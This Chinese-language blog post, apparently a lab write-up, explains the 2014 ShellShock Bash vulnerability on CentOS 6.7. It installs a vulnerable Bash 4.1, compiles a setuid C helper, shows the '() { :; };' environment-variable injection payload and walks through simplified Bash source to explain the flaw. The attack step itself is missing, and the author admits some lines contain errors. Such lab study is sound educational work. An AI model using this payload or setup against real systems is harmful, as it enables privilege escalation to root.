關於ShellShock漏洞的利用過程和原理解析

0x00

今天本是應該休息和打LOL的日子,但是我那個敬業的舍友非要拿python寫個跟Siri類似的東西。好吧我也來學習學習

晚上來研究下這個14年出現並且自家產品能防護住的漏洞---ShellShock
這是Bashshell中的一個漏洞,使得攻擊者能在小於等於4.1版本的Bash上進行任意代碼執行
 
實驗環境:Centos 6.7

實驗目的:獲取root權限


0x01
先檢查了下自己的bash版本是不是小於4.1
如果不是則通過下邊的步驟進行修改
#wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
#tar xf bash-4.1.tar.gz
#cd bash-4.1
#./configure
#make & make install
#rm /bin/bash
#ln -s /usr/local/bin/bash /bin/bash
到此可以bash -version下看看自己的版本有麼有變,建議先做個鏡像



0x02
檢測存在漏洞
出現 vulnerable說明存在漏洞,反則不存在



並讓/bin/sh 指向 /bin/bash
$ sudo ln -sf /bin/bash /bin/sh
 
0x03
安裝GCC
yum -y install gcc gcc-c++ kernel-devel
然後寫漏洞利用的代碼
#include <stdio.h>
void main()
{
setuid(geteuid());
system("/bin/ls -l");
}
保存爲xxx.c
進行編譯
後邊幾行寫錯了不要在意


0x04
進行攻擊
 

完美獲取權限 
0x05
原理簡單解釋
首先因爲bash中的自定義函數,只需要函數名就能夠調用該函數
e.g
$ foo() {echo bar;}
$foo
>bar
環境變量爲
KEY= foo
VALUE=() { echo bar;}
那麼我們可以構造檢測的payload
$export foo='() { :; }; echo Hello'
$bash
>Hello
環境變量
KEY=foo
VALUE=() { :;};echo Hello
顯而易見,bash讀取了環境變量,調用bash時候,自定義語句就會觸發
還記得上邊寫的.c文件中的  setuid(geteuid()); 
使得 make real uid = effective uid.
我們再來看簡化後的bash源代碼
 

void initialize_shell_variables(){ // 循環遍歷所有環境變量
for (string_index = 0; string = env[string_index++]; ) { 
/*...*/ 
/* 如果有export過的函數, 在這裏定義 */
 /* 無法導入在特權模式下(root下)定義的函數 */ 
  if (privmode == 0 && read_but_dont_execute == 0 && STREQN (“() {“, string, 4)) { 
     [...] 
     // 這裏是shellshock發生的地方 
     // 傳遞函數定義 + 運行額外的指令 
     parse_and_execute (temp_string, name, 
       SEVAL_NONINT|SEVAL_NOHIST); 
[...]
} }
就是上述那-句判斷邏輯導致了兩者的不同,primode即私有模式,要求real uid 與 effective uid保持一致

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章